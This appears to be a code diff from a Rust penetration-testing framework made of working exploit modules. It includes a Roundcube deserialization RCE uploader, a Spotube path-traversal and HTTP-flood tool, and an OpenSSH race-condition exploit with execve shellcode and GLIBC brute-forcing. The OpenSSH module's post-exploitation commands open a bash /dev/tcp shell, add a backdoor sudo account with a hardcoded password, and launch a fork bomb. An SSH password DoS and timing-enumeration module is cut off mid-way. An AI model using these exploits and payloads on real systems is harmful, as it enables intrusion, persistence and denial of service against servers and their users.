body.extend_from_slice(format!("\r\n--{}--\r\n", boundary).as_bytes());
let mut url = reqwest::Url::parse(base)?;
url.set_query(None);
url.query_pairs_mut()
.append_pair("_task", "settings")
.append_pair("_remote", "1")
.append_pair("_from", &format!("edit-!{}", generate_from()))
.append_pair("_id", &generate_id()?)
.append_pair("_uploadid", &generate_uploadid()?)
.append_pair("_action", "upload");
client
.post(url)
.header("Content-Type", format!("multipart/form-data; boundary={}", boundary))
.body(body)
.send()
.await
.map_err(|e| anyhow!("Upload request failed: {e}"))?;
println!("{}", "[+] Exploit attempt complete. Check your listener or reverse shell.".green());
Ok(())
}
/// Entry point for dispatcher
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
// Validate and normalize target URL
let base_url = validate_target_url(target)?;
println!("{}", format!("[*] Validated URL: {}", base_url).cyan());
// HTTP client with cookies and no redirects
let jar = Jar::default();
let client = Client::builder()
.cookie_provider(Arc::new(jar))
.redirect(Policy::none())
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(10))
.build()?;
if let Some(ver) = check_version(&client, &base_url).await? {
println!("[*] Detected Roundcube version: {}", ver);
if (10100..=10509).contains(&ver) || (10600..=10610).contains(&ver) {
println!("{}", "[!] Version appears vulnerable!".green().bold());
} else {
println!("{}", "[-] Version not in known vulnerable range.".yellow());
}
} else {
println!("{}", "[?] Could not determine version.".yellow());
}
// Use shared prompt utilities for credentials
let username = prompt_default("Username", "").await?;
let password = prompt_default("Password", "").await?;
let host = prompt_default("Host parameter (optional)", "").await?;
let command = prompt_default("Command to execute", "id").await?;
if username.is_empty() || password.is_empty() || command.is_empty() {
return Err(anyhow!("Username, password and command must be provided"));
}
println!("{}", "[*] Attempting login...".cyan());
login(&client, &base_url, &username, &password, &host).await?;
println!("{}", "[+] Login successful!".green());
println!("{}", "[*] Uploading malicious payload...".cyan());
let serialized = build_serialized_payload(&command);
upload_payload(&client, &base_url, &serialized).await
}
+29 -6
View File
@@ -1,12 +1,35 @@
use anyhow::{Result, Context};
use reqwest;
use anyhow::{Context, Result};
use colored::*;
use reqwest::Client;
use std::time::Duration;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
/// A basic demonstration exploit that checks if a specific endpoint is "vulnerable"
///
/// # Developer Note
/// This module serves as a template for new exploits.
/// - Always use `?` for error handling (no `unwrap()`).
/// - Use `anyhow::Context` to provide helpful error messages.
/// - Respect the `target` argument.
pub async fn run(target: &str) -> Result<()> {
println!("[*] Running sample_exploit against target: {}", target);
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Sample Exploit Module - Demonstration ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!("{}", format!("[*] Target: {}", target).yellow());
let client = Client::builder()
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.danger_accept_invalid_certs(true)
.build()
.context("Failed to build HTTP client")?;
let url = format!("http://{}/vulnerable_endpoint", target);
let resp = reqwest::get(&url)
println!("{}", format!("[*] Checking: {}", url).cyan());
let resp = client
.get(&url)
.send()
.await
.context("Failed to send request")?
.text()
@@ -14,9 +37,9 @@ pub async fn run(target: &str) -> Result<()> {
.context("Failed to read response")?;
if resp.contains("Vulnerable!") {
println!("[+] Target is vulnerable!");
println!("{}", "[+] Target is vulnerable!".green().bold());
} else {
println!("[-] Target does not appear to be vulnerable.");
println!("{}", "[-] Target does not appear to be vulnerable.".red());
}
Ok(())
+1
View File
@@ -0,0 +1 @@
pub mod spotube;
+253
View File
@@ -0,0 +1,253 @@
//! Spotube Remote API Exploit
//!
//! This module exploits unauthenticated access to the Spotube API, enabling
//! path traversal via WebSocket and denial of service attacks.
//!
//! ## Vulnerability Details
//! - **Affected**: Spotube (desktop music client)
//! - **Attack Vector**: Network (HTTP/WebSocket)
//! - **Impact**: Path traversal, DoS, unauthorized playback control
//!
//! ## Features
//! - Ping server connectivity test
//! - Playback control (next, previous, toggle)
//! - Path traversal injection via WebSocket
//! - HTTP endpoint flooding (DoS)
//!
//! ## Security Notes
//! - Uses utils.rs for target validation
//! - Proper error handling and timeouts
//!
//! Made by Suicidal Teddy - first ever zero day exploit
//! For authorized penetration testing only.
use anyhow::{Context, Result};
use colored::*;
use futures_util::{SinkExt, StreamExt};
use reqwest::Client;
use serde_json::json;
use std::collections::HashMap;
use tokio::time::{sleep, Duration};
use tokio_tungstenite::connect_async;
use tokio_tungstenite::tungstenite::Message;
use crate::utils::{
normalize_target, prompt_default, prompt_int_range,
};
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Spotube Remote API Exploit ║".cyan());
println!("{}", "║ Path Traversal + DoS + Playback Control ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Custom headers to emulate browser requests
fn browser_headers(host: &str, port: u16) -> HashMap<String, String> {
let mut headers = HashMap::new();
headers.insert("Accept-Language".into(), "en-US,en;q=0.9".into());
headers.insert("Upgrade-Insecure-Requests".into(), "1".into());
headers.insert(
"User-Agent".into(),
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 \
(KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
.into(),
);
headers.insert(
"Accept".into(),
"text/html,application/xhtml+xml,application/xml;q=0.9,\
image/avif,image/webp,image/apng,*/*;q=0.8,\
application/signed-exchange;v=b3;q=0.7"
.into(),
);
headers.insert("Accept-Encoding".into(), "gzip, deflate, br".into());
headers.insert("Connection".into(), "keep-alive".into());
headers.insert("Host".into(), format!("{}:{}", host, port));
headers
}
/// Sends the GET request to the Spotube endpoint with custom headers
async fn execute(host: &str, port: u16, path: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(5))
.build()
.context("Failed to build HTTP client")?;
let url = format!("http://{}:{}{}", host, port, path);
let headers = browser_headers(host, port);
let mut request = client.get(&url);
for (key, value) in headers {
request = request.header(&key, &value);
}
let response = request.send().await.context("Request failed")?;
let status = response.status();
let body = response.text().await.unwrap_or_default();
println!(
"{} → {} {}",
path,
status.as_u16(),
status.canonical_reason().unwrap_or("Unknown")
);
println!("{}", body.trim());
Ok(())
}
/// Sends a malicious 'load' event over WS with a track name containing ../
async fn ws_inject_path_traversal(host: &str, port: u16) -> Result<()> {
// Prompt for malicious filename using shared utilities
let malicious_name = prompt_default("Malicious filename", "../evil.sh").await?;
let track_id = prompt_default("Fake track ID", "INJECT1").await?;
let codec = prompt_default("Codec extension", "mp3").await?;
let payload = json!({
"type": "load",
"data": {
"tracks": [
{
"name": malicious_name,
"artists": { "asString": "" },
"sourceInfo": { "id": track_id },
"codec": { "name": codec }
}
]
}
});
let ws_url = format!("ws://{}:{}/ws", host, port);
println!("Connecting to {}", ws_url);
let (ws_stream, _) = connect_async(&ws_url)
.await
.context("WebSocket connection failed")?;
let (mut write, _) = ws_stream.split();
let msg_text = payload.to_string();
write
.send(Message::Text(msg_text.clone().into()))
.await
.context("Failed to send WebSocket message")?;
println!("▶️ Malicious load payload sent:");
println!("{}", serde_json::to_string_pretty(&payload)?);
Ok(())
}
/// Floods the given endpoint with `count` rapid requests (with optional delay)
async fn dos_flood(host: &str, port: u16, path: &str, count: usize, delay: f64) -> Result<()> {
println!("⚠️ Flooding {} {} times (delay {}s)…", path, count, delay);
for _ in 0..count {
let _ = execute(host, port, path).await;
if delay > 0.0 {
sleep(Duration::from_secs_f64(delay)).await;
}
}
println!("🔥 Done flood.");
Ok(())
}
/// Parse and validate target using utils.rs normalize_target
async fn parse_target(target: &str) -> Result<(String, u16)> {
// Use utils.rs normalize_target for comprehensive validation
let normalized = normalize_target(target)?;
// Check if normalized result contains a port
if normalized.starts_with('[') {
// IPv6 format: [::1]:port or [::1]
if let Some(bracket_end) = normalized.find(']') {
let host = normalized[1..bracket_end].to_string();
let rest = &normalized[bracket_end + 1..];
if rest.starts_with(':') {
let port = rest[1..].parse::<u16>()
.context("Invalid port number")?;
return Ok((host, port));
} else {
// No port provided, prompt for it
let port = prompt_int_range("Target port", 17086, 1, 65535).await? as u16;
return Ok((host, port));
}
}
anyhow::bail!("Invalid IPv6 format");
}
// IPv4 or hostname format: host:port or host
if let Some(colon_pos) = normalized.rfind(':') {
let host = normalized[..colon_pos].to_string();
let port = normalized[colon_pos + 1..].parse::<u16>()
.context("Invalid port number")?;
Ok((host, port))
} else {
// No port provided, prompt for it
let port = prompt_int_range("Target port", 17086, 1, 65535).await? as u16;
Ok((normalized, port))
}
}
/// CLI menu for Spotube exploitation
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
// Parse and validate target
let (host, port) = parse_target(target).await?;
println!("{}", format!("[*] Attacking {}:{}", host, port).cyan());
println!();
loop {
println!("\n=== Menu ===");
println!("1. Ping server");
println!("2. Next track");
println!("3. Previous track");
println!("4. Toggle play/pause");
println!("5. Inject path-traversal via WS");
println!("6. Flood HTTP endpoint (DoS)");
println!("7. Exit");
let choice = prompt_int_range("Choose an option", 1, 1, 7).await? as u8;
match choice {
1 => {
println!("\n▶️ Ping server …");
let _ = execute(&host, port, "/ping").await;
}
2 => {
println!("\n▶️ Next track …");
let _ = execute(&host, port, "/playback/next").await;
}
3 => {
println!("\n▶️ Previous track …");
let _ = execute(&host, port, "/playback/previous").await;
}
4 => {
println!("\n▶️ Toggle play/pause …");
let _ = execute(&host, port, "/playback/toggle-playback").await;
}
5 => {
ws_inject_path_traversal(&host, port).await?;
}
6 => {
// Flood prompts using shared utilities
let path = prompt_default("Endpoint to flood", "/playback/next").await?;
let count = prompt_int_range("Number of requests", 100, 1, 10000).await? as usize;
let delay = prompt_int_range("Delay between requests (ms)", 0, 0, 10000).await? as f64 / 1000.0;
dos_flood(&host, port, &path, count, delay).await?;
}
7 => {
println!("👋 Goodbye!");
break;
}
_ => println!("❌ Invalid choice, try again."),
}
}
Ok(())
}
+6
View File
@@ -0,0 +1,6 @@
pub mod opensshserver_9_8p1race_condition;
pub mod sshpwn_sftp_attacks;
pub mod sshpwn_scp_attacks;
pub mod sshpwn_session;
pub mod sshpwn_auth_passwd;
pub mod sshpwn_pam;
@@ -0,0 +1,478 @@
use std::io::{ErrorKind};
use std::sync::Arc;
use anyhow::{Result, bail, Context};
use colored::*;
use tokio::io::{AsyncReadExt, AsyncWriteExt, AsyncBufReadExt};
use tokio::net::TcpStream;
use tokio::time::{sleep, Duration, Instant};
use tokio::sync::Semaphore;
use futures_util::stream::{FuturesUnordered, StreamExt};
const MAX_PACKET_SIZE: usize = 256 * 1024;
const LOGIN_GRACE_TIME: f64 = 120.0;
const CHUNK_ALIGN: usize = 16;
const CONCURRENCY: usize = 256;
const GLIBC_BASE_START: u64 = 0x7ffff79e4000;
const GLIBC_BASE_END: u64 = 0x7ffff7ffe000;
const GLIBC_STEP: u64 = 0x200000;
const FAKE_VTABLE_OFFSET: u64 = 0x21b740;
const FAKE_CODECVT_OFFSET: u64 = 0x21d7f8;
const SHELLCODE: &[u8] = b"\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
const BIND_SHELL_PORT: u16 = 55555;
const PERSISTENT_USER: &str = "aptpwn";
const PERSISTENT_PASS: &str = "Root4life!";
fn chunk_align(s: usize) -> usize {
(s + CHUNK_ALIGN - 1) & !(CHUNK_ALIGN - 1)
}
fn create_fake_file_structure(buf: &mut [u8], glibc_base: u64) {
buf.fill(0);
let len = buf.len();
if len > 0x30 + 8 {
buf[0x30..0x30 + 8].copy_from_slice(&0x61u64.to_le_bytes());
}
if len >= 16 {
buf[len - 16..len - 8].copy_from_slice(&(glibc_base + FAKE_VTABLE_OFFSET).to_le_bytes());
buf[len - 8..len].copy_from_slice(&(glibc_base + FAKE_CODECVT_OFFSET).to_le_bytes());
}
}
fn create_public_key_packet(packet: &mut [u8], glibc_base: u64) {
packet.fill(0);
packet[..8].copy_from_slice(b"ssh-rsa ");
let shell_offset = chunk_align(4096) * 13 + chunk_align(304) * 13;
if shell_offset + SHELLCODE.len() <= packet.len() {
packet[shell_offset..shell_offset + SHELLCODE.len()].copy_from_slice(SHELLCODE);
}
for i in 0..27 {
let pos = chunk_align(4096) * (i + 1) + chunk_align(304) * i;
if pos + chunk_align(304) <= packet.len() {
create_fake_file_structure(&mut packet[pos..pos + chunk_align(304)], glibc_base);
}
}
}
async fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
let packet_len = (data.len() + 5) as u32;
stream.write_u32(packet_len).await?;
stream.write_u8(packet_type).await?;
stream.write_all(data).await?;
stream.flush().await?;
Ok(())
}
fn normalize_target(ip: &str, port: u16) -> Result<String> {
let ip_trimmed = ip.trim_matches(|c| c == '[' || c == ']');
if ip_trimmed.contains(':') && !ip_trimmed.contains('.') {
Ok(format!("[{}]:{}", ip_trimmed, port))
} else {
Ok(format!("{}:{}", ip_trimmed, port))
}
}
async fn handle_bind_shell_session(conn: TcpStream) -> anyhow::Result<()> {
println!("{}", "[*] Connected! Interactive shell below (type 'exit' to quit):".green().bold());
let (mut rd, mut wr) = tokio::io::split(conn);
let mut stdin = tokio::io::stdin();
let mut stdout = tokio::io::stdout();
let reader = tokio::spawn(async move {
let mut buf = [0u8; 4096];
loop {
match rd.read(&mut buf).await {
Ok(0) => break,
Ok(n) => {
if stdout.write_all(&buf[..n]).await.is_err() { break; }
if stdout.flush().await.is_err() { break; }
}
Err(_) => break,
}
}
});
let writer = tokio::spawn(async move {
let mut buf = [0u8; 4096];
loop {
match stdin.read(&mut buf).await {
Ok(0) => break,
Ok(n) => {
if wr.write_all(&buf[..n]).await.is_err() { break; }
if wr.flush().await.is_err() { break; }
}
Err(_) => break,
}
}
});
let _ = tokio::try_join!(reader, writer);
println!("{}", "[*] Shell session ended.".yellow());
Ok(())
}
async fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
let addr = normalize_target(ip, port)?;
let stream = TcpStream::connect(&addr).await.with_context(|| format!("Failed to connect to {}", addr))?;
Ok(stream)
}
async fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n").await?;
stream.flush().await?;
Ok(())
}
async fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
loop {
match stream.read(buf).await {
Ok(n) if n > 0 => return Ok(n),
Ok(0) => bail!("Connection closed while receiving data"),
Ok(_) => bail!("Unexpected read result"),
Err(ref e) if e.kind() == ErrorKind::WouldBlock || e.kind() == ErrorKind::TimedOut => {
sleep(Duration::from_millis(10)).await;
continue;
}
Err(e) => return Err(e.into()),
}
}
}
async fn receive_ssh_version(stream: &mut TcpStream) -> Result<()> {
let mut buffer = [0u8; 256];
recv_retry(stream, &mut buffer).await.context("Failed to receive SSH version")?;
Ok(())
}
async fn send_kex_init(stream: &mut TcpStream) -> Result<()> {
let payload = vec![0u8; 36];
send_packet(stream, 20, &payload).await.context("Failed to send KEX_INIT")
}
async fn receive_kex_init(stream: &mut TcpStream) -> Result<()> {
let mut buffer = [0u8; 1024];
recv_retry(stream, &mut buffer).await.context("Failed to receive KEX_INIT")?;
Ok(())
}
async fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
send_ssh_version(stream).await.context("Handshake: send_ssh_version failed")?;
receive_ssh_version(stream).await.context("Handshake: receive_ssh_version failed")?;
send_kex_init(stream).await.context("Handshake: send_kex_init failed")?;
receive_kex_init(stream).await.context("Handshake: receive_kex_init failed")?;
Ok(())
}
async fn prepare_heap(stream: &mut TcpStream, glibc_base: u64) -> Result<()> {
for _ in 0..10 {
let tcache_chunk = vec![b'A'; 64];
send_packet(stream, 5, &tcache_chunk).await?;
}
for _ in 0..27 {
let large_hole = vec![b'B'; 8192];
send_packet(stream, 5, &large_hole).await?;
let small_hole = vec![b'C'; 320];
send_packet(stream, 5, &small_hole).await?;
}
for _ in 0..27 {
let mut fake = vec![0u8; 4096];
create_fake_file_structure(&mut fake, glibc_base);
send_packet(stream, 5, &fake).await?;
}
let large_fill = vec![b'E'; MAX_PACKET_SIZE - 1];
send_packet(stream, 5, &large_fill).await?;
Ok(())
}
async fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
let error_packet_data: &[u8] = if error_type == 1 {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3"
} else {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9"
};
let start = Instant::now();
send_packet(stream, 50, error_packet_data).await?;
let mut buf = [0u8; 1024];
let _ = recv_retry(stream, &mut buf).await;
Ok(start.elapsed().as_secs_f64())
}
async fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
let t1 = measure_response_time(stream, 1).await?;
let t2 = measure_response_time(stream, 2).await?;
let parsing_time = t2 - t1;
Ok(parsing_time)
}
async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, glibc_base: u64) -> Result<bool> {
let mut final_packet = vec![0u8; MAX_PACKET_SIZE];
create_public_key_packet(&mut final_packet, glibc_base);
let to_send = final_packet.len() - 1;
stream.write_all(&final_packet[..to_send]).await?;
stream.flush().await?;
let wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
if wait_time > 0.0 {
sleep(Duration::from_secs_f64(wait_time)).await;
}
stream.write_all(&final_packet[to_send..]).await?;
stream.flush().await?;
let mut response = [0u8; 1024];
match tokio::time::timeout(Duration::from_secs(2), stream.read(&mut response)).await {
Ok(Ok(n)) if n == 0 => Ok(true),
Ok(Ok(n)) if n > 0 => {
if !response[..n.min(8)].starts_with(b"SSH-2.0-") {
Ok(true)
} else {
Ok(false)
}
}
Ok(Ok(_)) => Ok(false),
Ok(Err(_)) => Ok(true),
Err(_) => Ok(true),
}
}
fn print_post_actions() {
println!("{}", "Available Post-Ex Actions:".cyan().bold());
println!(" 1. {} (port {})", "Bind Shell".green(), BIND_SHELL_PORT);
println!(" 2. {} user '{}'", "Persistent".green(), PERSISTENT_USER);
println!(" 3. {} (Denial/Crash)", "Fork bomb".red());
println!(" 4. {} (recommended)", "Interactive PTY shell".green().bold());
}
fn get_postex_command(action: u8) -> String {
match action {
1 => format!(
"nohup bash -c 'bash -i >& /dev/tcp/0.0.0.0/{}/0 2>&1 &'",
BIND_SHELL_PORT
),
2 => format!(
"useradd -m -p $(openssl passwd -1 '{}') {} && usermod -aG sudo {}",
PERSISTENT_PASS, PERSISTENT_USER, PERSISTENT_USER
),
3 => ":(){ :|:& };:".to_string(),
4 => "exec /bin/bash -i".to_string(),
_ => "".to_string(),
}
}
async fn execute_exploit_logic(target_ip: String, port_num: u16, mode_choice: u8, num_attempts_per_base: usize) -> Result<()> {
println!("{}", format!("[*] Target: {}:{}", target_ip, port_num).cyan().bold());
let postex_cmd = get_postex_command(mode_choice);
let semaphore = Arc::new(Semaphore::new(CONCURRENCY));
let mut tasks: FuturesUnordered<tokio::task::JoinHandle<anyhow::Result<bool>>> = FuturesUnordered::new();
let mut glibc_bases = vec![];
let mut current_base = GLIBC_BASE_START;
while current_base < GLIBC_BASE_END {
glibc_bases.push(current_base);
current_base += GLIBC_STEP;
}
println!("{}", format!("[*] Brute-forcing GLIBC base from 0x{:x} to 0x{:x} with step 0x{:x}", GLIBC_BASE_START, GLIBC_BASE_END, GLIBC_STEP).cyan());
println!("{}", format!("[*] Total GLIBC bases to check: {}", glibc_bases.len()).cyan());
println!("{}", format!("[*] Attempts per GLIBC base: {}", num_attempts_per_base).cyan());
for glibc_base_addr in glibc_bases {
for attempt_num in 0..num_attempts_per_base {
let ip_clone = target_ip.clone();
let sem_clone = semaphore.clone();
let cmd_clone = postex_cmd.clone();
let permit = sem_clone.acquire_owned().await.context("Failed to acquire semaphore permit")?;
tasks.push(tokio::spawn(async move {
let _permit = permit;
let mut stream = match setup_connection(&ip_clone, port_num).await {
Ok(s) => s,
Err(_) => return Ok(false),
};
if perform_ssh_handshake(&mut stream).await.is_err() {
return Ok(false);
}
if prepare_heap(&mut stream, glibc_base_addr).await.is_err() {
return Ok(false);
}
let parsing_time = match time_final_packet(&mut stream).await {
Ok(pt) => pt,
Err(_) => return Ok(false),
};
if attempt_race_condition(stream, parsing_time, glibc_base_addr).await.unwrap_or(false) {
println!("{}", format!("[+] Exploit succeeded! GLIBC base 0x{:x} (attempt {})", glibc_base_addr, attempt_num).green().bold());
if !cmd_clone.is_empty() {
println!("[*] Post-ex command to execute (conceptually): {}", cmd_clone);
}
match mode_choice {
1 => {
println!("[*] Attempting to connect to bind shell on port {}...", BIND_SHELL_PORT);
let bind_shell_target_addr = format!("{}:{}", ip_clone, BIND_SHELL_PORT);
sleep(Duration::from_secs(2)).await;
match TcpStream::connect(&bind_shell_target_addr).await {
Ok(conn_stream) => {
if let Err(e) = handle_bind_shell_session(conn_stream).await {
println!("[!] Bind shell session error: {}", e);
}
}
Err(e) => {
println!("[!] Could not connect to bind shell at {}: {}", bind_shell_target_addr, e);
println!("[!] If firewall blocks remote connects, try post-ex #2 or #4.");
}
}
}
2 => {
println!("[*] Verifying if user '{}' exists. Try SSH: ssh {}@{}", PERSISTENT_USER, PERSISTENT_USER, ip_clone);
println!("[*] Password: {}", PERSISTENT_PASS);
println!("(Manual check required. If login works, exploit succeeded!)");
}
3 => {
println!("[!] Fork bomb sent. Target likely crashed or hung (manual verification needed).");
}
4 => {
println!("[*] Interactive PTY shell requested. The shellcode attempts to spawn /bin/sh.");
println!("[*] If successful, the SSH session might drop or provide a new prompt.");
println!("Manual attach might be possible via existing connection if it didn't drop, or check netcat.");
}
_ => {
println!("[*] Post-ex action unknown/unsupported. Check exploit results manually.");
}
}
return Ok(true);
}
sleep(Duration::from_millis(100)).await;
Ok(false)
}));
}
}
let mut success_found = false;
while let Some(task_result) = tasks.next().await {
match task_result {
Ok(Ok(true)) => {
println!("{}", "[SUCCESS] Exploit Succeeded! One of the attempts was successful.".green().bold());
println!("{}", "[*] Check chosen post-exploitation action effects.".cyan());
if mode_choice == 1 {
println!("{}", format!("[*] If you chose a bind shell, connect with: nc {} {}", target_ip, BIND_SHELL_PORT).cyan());
}
success_found = true;
break;
}
Ok(Ok(false)) => { }
Ok(Err(e)) => eprintln!("[!] Task error (internal logic error): {}", e),
Err(e) => eprintln!("[!] Task join error: {}", e),
}
}
if !success_found {
println!("{}", "[-] All attempts finished. Exploit likely unsuccessful with current parameters.".red());
println!("{}", "[-] Try adjusting GLIBC range, timing, or concurrency if target is vulnerable.".yellow());
}
Ok(())
}
pub async fn run(target_info: &str) -> anyhow::Result<()> {
if target_info.is_empty() {
bail!("Target IP address/hostname cannot be empty.");
}
if target_info.contains(':') {
bail!("Invalid target format. Expected IP address or hostname, got '{}'. Port will be asked separately.", target_info);
}
let ip_address = target_info.to_string();
let port_num: u16;
loop {
print!("{}", "Enter the target port number (e.g., 22): ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut port_input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut port_input)
.await
.context("Failed to read port from stdin")?;
match port_input.trim().parse::<u16>() {
Ok(port) if port > 0 => {
port_num = port;
break;
}
Ok(_) => {
println!("{}", "[!] Invalid port number. Port must be a positive integer (1-65535). Please try again.".yellow());
}
Err(_) => {
println!("{}", "[!] Invalid input. Please enter a valid port number (1-65535).".yellow());
}
}
}
print_post_actions();
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.ok();
let mut choice_str = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut choice_str)
.await
.ok();
let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
let num_attempts_per_base: usize;
loop {
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout for attempts input")?;
let mut attempts_str = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut attempts_str)
.await
.context("Failed to read number of attempts")?;
match attempts_str.trim().parse::<usize>() {
Ok(num) if num > 0 => {
num_attempts_per_base = num;
break;
}
_ => {
println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
}
}
}
execute_exploit_logic(ip_address, port_num, mode_choice, num_attempts_per_base).await
}
@@ -0,0 +1,575 @@
//! SSHPWN Auth Password Attack Module
//!
//! Based on OpenSSH 10.0p1 auth2-passwd.c vulnerability analysis
//!
//! AUTH2-PASSWD VULNERABILITIES (auth2-passwd.c):
//! - Password length not explicitly limited - potential DoS via long passwords (LOW)
//! - Password change information disclosure - server fingerprinting (INFO)
//! - Timing attack via mm_auth_password - user enumeration (MEDIUM)
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Context, Result};
use colored::*;
use crate::utils::normalize_target;
use ssh2::Session;
use std::{
io::Write,
net::TcpStream,
time::{Duration, Instant},
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSHPWN - Auth Password Attack Module ║".cyan());
println!("{}", "║ Based on OpenSSH auth2-passwd.c vulnerability analysis ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Attack Modes: ║".cyan());
println!("{}", "║ 1. Password Length DoS Test (sshpkt_get_cstring limit) ║".cyan());
println!("{}", "║ 2. Password Change Information Leak ║".cyan());
println!("{}", "║ 3. Auth Timing Attack (mm_auth_password) ║".cyan());
println!("{}", "║ 4. Bcrypt Length Bypass Test (72-byte limit) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
// Use framework's normalize_target utility - removed custom implementation
/// Time a single authentication attempt
fn time_auth_attempt(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Option<(f64, bool, String)> {
let addr = format!("{}:{}", host, port);
let start = Instant::now();
let tcp = match TcpStream::connect_timeout(
&addr.parse().ok()?,
Duration::from_secs(timeout_secs),
) {
Ok(s) => s,
Err(e) => return Some((0.0, false, format!("Connect failed: {}", e))),
};
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
let mut sess = match Session::new() {
Ok(s) => s,
Err(e) => return Some((0.0, false, format!("Session failed: {}", e))),
};
sess.set_tcp_stream(tcp);
if let Err(e) = sess.handshake() {
return Some((start.elapsed().as_secs_f64(), false, format!("Handshake failed: {}", e)));
}
// Try authentication
let auth_result = sess.userauth_password(username, password);
let elapsed = start.elapsed().as_secs_f64();
match auth_result {
Ok(_) => Some((elapsed, sess.authenticated(), "OK".to_string())),
Err(e) => Some((elapsed, false, format!("{}", e))),
}
}
/// Password Length DoS Test
///
/// Vulnerability: auth2-passwd.c lines 60-66 - sshpkt_get_cstring() has no explicit limit
/// Very long passwords could cause DoS in downstream bcrypt (72-byte) or PAM modules
pub async fn attack_password_length_dos(
host: &str,
port: u16,
username: &str,
max_length: usize,
) -> Result<bool> {
println!("{}", format!("[*] Password Length DoS Test on {}", host).cyan());
println!("{}", "[*] Vulnerability: auth2-passwd.c sshpkt_get_cstring() no explicit limit".cyan());
println!("{}", "[*] Testing password lengths that may cause downstream issues".cyan());
println!();
// Test progressively longer passwords
let test_lengths = vec![
64, // Normal
72, // bcrypt limit
128, // Double bcrypt
256, // Moderate
512, // Large
1024, // Very large
2048, // Huge
4096, // Extreme
8192, // Maximum test
max_length.min(16384),
];
println!("{}", "[*] Testing password lengths:".cyan());
println!("{}", "[*] Note: bcrypt has 72-byte limit, longer passwords are truncated".dimmed());
println!();
let mut abnormal_behavior = Vec::new();
let mut baseline_time: Option<f64> = None;
for &len in &test_lengths {
if len > max_length {
break;
}
// Generate password of specified length
let password: String = std::iter::repeat('A').take(len).collect();
print!(" Testing {} bytes... ", len);
let _ = std::io::stdout().flush();
match time_auth_attempt(host, port, username, &password, 30) {
Some((time, _success, msg)) => {
// Set baseline from first test
if baseline_time.is_none() {
baseline_time = Some(time);
}
let base = baseline_time.unwrap_or(time);
let ratio = if base > 0.0 { time / base } else { 1.0 };
if time > 10.0 {
println!("{}", format!("SLOW ({:.2}s) - {}", time, msg).yellow());
abnormal_behavior.push((len, time, msg));
} else if ratio > 2.0 {
println!("{}", format!("SLOW ({:.2}s, {:.1}x baseline) - {}", time, ratio, msg).yellow());
abnormal_behavior.push((len, time, msg));
} else {
println!("{}", format!("OK ({:.2}s) - {}", time, msg).green());
}
}
None => {
println!("{}", "Connection failed".red());
}
}
// Small delay between tests
std::thread::sleep(Duration::from_millis(500));
}
println!();
println!("{}", "=== Password Length DoS Results ===".cyan().bold());
if !abnormal_behavior.is_empty() {
println!("{}", "[VULN] Abnormal behavior detected with long passwords:".red().bold());
for (len, time, msg) in &abnormal_behavior {
println!(" {} bytes: {:.2}s - {}", len, time, msg);
}
println!();
println!("{}", "[*] Server may be vulnerable to password length DoS".yellow());
println!("{}", "[*] Downstream PAM modules or bcrypt may have issues".cyan());
Ok(true)
} else {
println!("{}", "[*] No significant timing variations detected".green());
println!("{}", "[*] Server handles long passwords gracefully".cyan());
Ok(false)
}
}
/// Password Change Information Leak Test
///
/// Vulnerability: auth2-passwd.c line 69 - "password change not supported" logged
/// This reveals server configuration and confirms authentication reached password handler
pub async fn attack_password_change_leak(
host: &str,
port: u16,
) -> Result<bool> {
println!("{}", format!("[*] Password Change Information Leak Test on {}:{}", host, port).cyan());
